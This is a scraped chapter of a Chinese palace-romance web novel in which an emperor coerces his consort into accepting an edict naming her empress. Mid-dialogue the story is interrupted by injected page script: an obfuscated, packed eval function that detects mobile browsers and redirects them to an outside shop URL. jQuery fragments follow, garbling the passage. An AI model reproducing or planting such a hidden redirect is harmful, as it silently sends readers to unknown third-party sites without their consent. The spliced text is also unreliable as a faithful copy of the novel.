文趣网 > 其他小说 > 误卿卿 > 8. 怜
    待睁开双眼,晨曦自窗棂闯入,她才发觉,昨夜思绪翻涌,辗转思忖,竟不知何时沉沉睡去。

    她把手向枕头探去——没有。

    翻身下床,她走到香炉前。

    捻起灰烬,这香不对,昨夜入睡她故意没有喝安神汤,却不曾想香有问题。

    她的路引终究还是被拿走了。

    “夫人!”

    闻声,荷华抬起头,见到春和那一瞬间,眼眶湿润。

    “春和!”荷华欣喜,握住她的手,将她看得仔细,“你可有受伤?”

    春和摇头,眼角泛着泪花:“奴婢没事,若不是夫人将我藏在马车之内,我也不可能全身而退!都是奴婢不好,让夫人遇险了……”

    荷华拍拍她的手背:“没事就好,莫要自责。”

    就在这时,外面声音嘈杂。

    “小殿下!小殿下!您别进去!”

    “陛下说了,不能让您打扰夫人休息!”

    荷华放下手上的香灰,呵斥宫人一声,下一刻李景曜便扑过来。

    “娘亲!”

    荷华蹲下将其抱住,抚摸他的脊背,感觉颈间一片温热。

    “娘亲,你没事就好……”

    他带着哭腔,双手环住荷华的脖颈不放,又重复几次这句话。

    荷华心中长叹,却没给他肯定的答复。

    “曜儿,娘亲现在没事了,好好的在这里呢。”

    “嗯……”

    李景曜松开手,眼珠子一直盯着荷华看,似乎是在确认她是否真的没事。

    忽而,他看见荷华的双手,一瞬间眼眶更红了。

    “娘亲,疼不疼啊……”

    “我不疼。”

    她以前在现代是武替的时候,什么苦没吃过?这点伤对她实在不算什么。

    荷华拿着手帕替他擦拭眼泪,不停地安慰他。

    “好啦,曜儿,只是一点小伤,你第一次骑马不也会受伤吗?很快就会好了,不用担心啦。”

    又见他依旧闷闷不乐,荷华又耐心地问。

    “曜儿,你是不是有心事?”

    李景曜点头:“娘亲,父皇说打算让洛太傅当我的老师。”

    “洛太傅德高望重,学识渊博,会是个好老师,莫不是曜儿舍不得裴先生?”

    李景曜摇头。

    他不喜欢洛太傅,只因定是他教唆娘亲离开,还差点让娘亲遇险,这样的人如何能堪为人师?

    可父亲竟然还要让洛太傅成为他的老师。

    这比遭受裴先生冷眼还让他难受。

    “我不喜欢洛太傅。”

    “为何?”

    李景曜迟迟未语。

    “曜儿不是和鹤松很是要好吗?若是太傅成为了老师,或许可以让鹤松成为你的伴读,如此一来不是更好?”

    李景曜嘴唇嗫嚅,终于像是发泄一般:“我就是不喜欢洛太傅!就是因为洛太傅,娘亲才想着要走的,是不是!”

    荷华被他的声音吓得一跳,她没想到这些事李景曜竟然也知道几分。

    “谁和你说这些的?”

    李景曜吓得一跳,慌忙捂住嘴。

    “娘亲,别不要我……”

    还能是谁?

    除了皇帝,还能有谁?

    “曜儿,事情不是你想的那样。”

    是她自己想走的。

    话到嘴边,荷华犹豫片刻,继续安抚他。

    “曜儿,这件事很复杂,洛太傅是一个好人,也会是一位好先生,娘亲不会不要你的。”

    听到这一句,李景曜心里悬着的那块石头也终于落下来。

    当时他没有完全睡着,鹤松进来之时,他就醒了。

    她是要走的。

    李景曜没见过自己的亲生母亲,可他已经把荷华完完全全当成了自己的母亲。

    当他知道娘亲为了他上山求师,心中自然是欢喜的,可一想到娘亲要离开,还差点遇险,这点欢喜也被担忧盖过。

    为什么娘亲非要走呢?

    父皇虽然对他平平淡淡,但是对娘亲是十足的好啊。

    他日思夜想,也想不明白,又不知道谁能听他的倾诉。

    直到娘亲说不会不要他,他才感觉这几日的心终于踏实起来。

    他心中始终对洛太傅存在隔阂,可若是为了娘亲,他可以视若不见。

    “曜儿,你可曾在宫中见过洛太傅?”荷华问。

    “见过。”

    “昨夜曜儿在太极殿见过太傅,不过曜儿很快就被宫人带走了。”

    荷华对此也有几分成算,洛太傅应当是被李守镜抓住了。

    可他究竟想要做什么呢?

    总不会是想要他的性命,毕竟太傅会成为李景曜的先生。

    “曜儿,时候不早了,也该回去温习功课了,若是被你父皇问起可不好了。”

    李景曜点头,父皇对他的功课要求十分严格,况且昨日还旷了一日。

    待她一走,荷华便朝着太极殿的方向而去。

    朝会未散,她便在侧殿等候,不到片刻李守镜便下了早朝,两人竟一起进了御书房。

    “怎么不好好歇着?”

    李守镜让她坐在自己身边,他温柔地笑着,眼中柔情似水。

    “听说早上曜儿去闹你,得让人教教规矩。”

    荷华注意到他眼底下一片乌青,双眼布满血丝,恐怕一夜未眠。

    “曜儿年幼,也是担心我,陛下何必苛责?”

    “嗯。”

    李守镜把她揽在怀里,向后倒去,倚靠在椅背上,闭上眼假寐。

    贴近他的胸口,荷华能听见他有力的心跳。

    按照族制,后宫妃嫔是不能踏入御书房的,她已经破了两次例。

    忽而,她瞟见了桌上的诏书,再一看竟是皇后的册封诏书。

    咨尔洛氏,质性端肃,秉德温良,恪恭自持,行有仪度。

    上面的字她再熟悉不过,是李守镜亲自写下,只剩下盖上玉玺。

    洛氏。

    太傅已经松口了。

    早前太傅便与她说明,李守镜打算让她入洛家,一是太傅名声在外,门客众多,朝堂之上,不敢有人轻易反对,二是太傅出生江南,虽族中门丁衰落,但其母族出身士族大户,在某种程度上会是荷华的一种倚仗。

    只是当日分析,太傅说了李守镜是打算将此事徐徐图之,起码要个半年,现如今竟加快进程。

    “今册洛氏为后,正位椒庭,”李守镜的声音缓缓,嘴角噙着笑,“怎么不继续看下去?”

    一张俊脸在面前放大,荷华退了几分,垂眸看着两人衣带上复杂的纹路。

    “陛下……”

    李守镜把她的双手握住,在缠绕着纱布的手上落下一吻。

    “原本想着待到你生辰将近之时,选一个好日子,给你一个惊喜,但现在看来,不能再等下去了。”

    他的眼眸中没有疲惫,反而充满欢喜,甚至开始憧憬。

    “太傅说要认你为孙女,朕会帮你安排好一切,便说当年太傅那个儿子云游之时与江湖女子生下了你,可惜遭遇不幸,如今寻得信物相认,皆大欢喜。”

    他眉眼含情,笑容如春风。

    “卿卿,你可欢喜?”

    片刻,荷华呼出一口气,那烫金诏书压得自己喘不过气。

    “陛下。”

    她还能说什么?

    在她看来李守镜把这一切大包大揽,没有和她商量,并且又做得滴水不漏。

    况且,太傅不知所踪,那个叫做杜若的女子也不清楚现如今是何处境。

    以及她为什么要塞给自己那枚玉佩,为什么李守镜把这些事情完全揭过,一概不谈。

    他是认为只要不说,就可以一直风平浪静,什么也没有发生吗。

    “陛下。”

    “嘘,”李守镜的食指抵着她的唇瓣,让她噤声,“朕说了,不怪你。”

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892689|212786||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    可朕没说不怪别人。”

    他从桌上的暗格内拿出玉玺,拉过荷华的手腕,打算两人一同将玉玺盖上去。

    “不!”

    荷华挣扎着起来,也顾不上手上的擦伤,打掉他的手,那玉玺就滚落在桌子上。

    李守镜垂眸看她多了几分探究,又是这样的眼神,荷华对上他的视线,为什么他总会用这样的眼神看自己,似乎有所防备,还是什么更深的意思?

    “陛下,臣妾的手疼了。”

    李守镜这才眉头稍缓,低下头在她的手心吹了吹。

    “荷华,你不愿成为我的皇后吗?”

    明明是笑着,眉眼弯弯,却像毒蛇在吐信子。

    “荷华只是惊讶,没想到陛下为我做了这么多。”

    “只是不知,太傅现在可还好?”

    李守镜把玉玺再度拿到面前,这一次他的手紧紧地抓住她,不让她轻易松开。

    “太傅很好。”

    “只要你好好的,太傅自然是好的。”

    当那玉玺盖在诏书上那一刻,荷华喘了一口大气,视线落在诏书的最后,她甚至顾不上手上的疼把手直接抽回去,不让李守镜碰到。

    “太傅现在身在何处?”

    “祖父尚在宫中休息,会待到我们礼成。”

    “你……”

    她还尚不能接受,而他已然改口。

    一口气憋在心里,她想绝不能这般轻轻放下,她心中有那么多疑惑,绝不能被糊弄过去。

    然而,就见他一脸……高兴,她实在不知道怎么形容此时的李守镜。

    他俯下头亲昵地蹭着她的肩颈处,又抬起头,目光温柔,嘴角含笑,卸下平日里冰冷矜贵生人勿近的模样,倒有几分人畜无害。

    “荷华、荷华、……”

    他一直叫着她的名字。

    荷华受宠若惊:“陛下,看上去很高兴。”

    “自然,”李守镜的头靠在荷华的身上,“我们要成婚了。”

    “荷华不知,当年杨氏盛极一时,杨贵妃却久久未曾有孕,我出生虽为皇子,可自幼我便与生母沈氏相离,养在贵妃膝下。

    杨家势大,甚至能和先皇后的母族安氏相提并论,当时父皇还不至于完全沉迷酒色,尚且勤政。可杨家野心勃勃,将我养来,父皇为敲打杨家,给我取名守镜。”

    “你可知何意?”

    荷华:“以铜为鉴,可以正衣冠;以古为鉴,可以知兴替;以人为鉴,可以明得失。*先皇想必也是爱重陛下的。”

    李守镜嘴角浮现一抹苦笑,他伸出手撩起她鬓边碎发:“若真如此,那也挺好。”

    他站起身,让荷华跟着自己,从身后架子上的暗格里拿出一个木匣子,打开一看,里面竟然放着大大小小的铜镜。

    “这里共有十六把镜子,每年生辰,父皇便会送我一把,直到我十七岁那年封王就藩,远赴西北。”

    荷华看过里面的每一把铜镜,无不精美。

    “你可知先皇何意?”

    荷华没有说话,心中对此不适。

    “先皇是在敲打朕,敲打杨氏,也在敲打朕,多照照镜子,莫要贪恋不属于自己的东西。”

    “荷华还觉得这是恩宠吗?”

    荷华看着他的眼睛,那双眼眸湿漉漉的,很是委屈可怜。偶有听闻宫中的流言蜚语,当皇子那些年,李守镜未必过得很好,受尽磋磨。

    相处三年,荷华偶尔能感觉到他身上那股极度多疑、极度偏执的阴郁之气,大多时候面对她总是温声细语,温润如玉的模样,那样阴鸷的样子她常常忘记,总以为是错觉。

    或许并不不是错觉。

    “荷华。”

    “你不是总说自己是无根浮萍吗,我们很快便会有一个家。”

    他是如此赤诚地剖析过往,几乎毫不保留地把伤口给她看。

    荷华避开那双哀求的双眼,后退一步,没有忘记此前的目的。

    “我的路引呢?”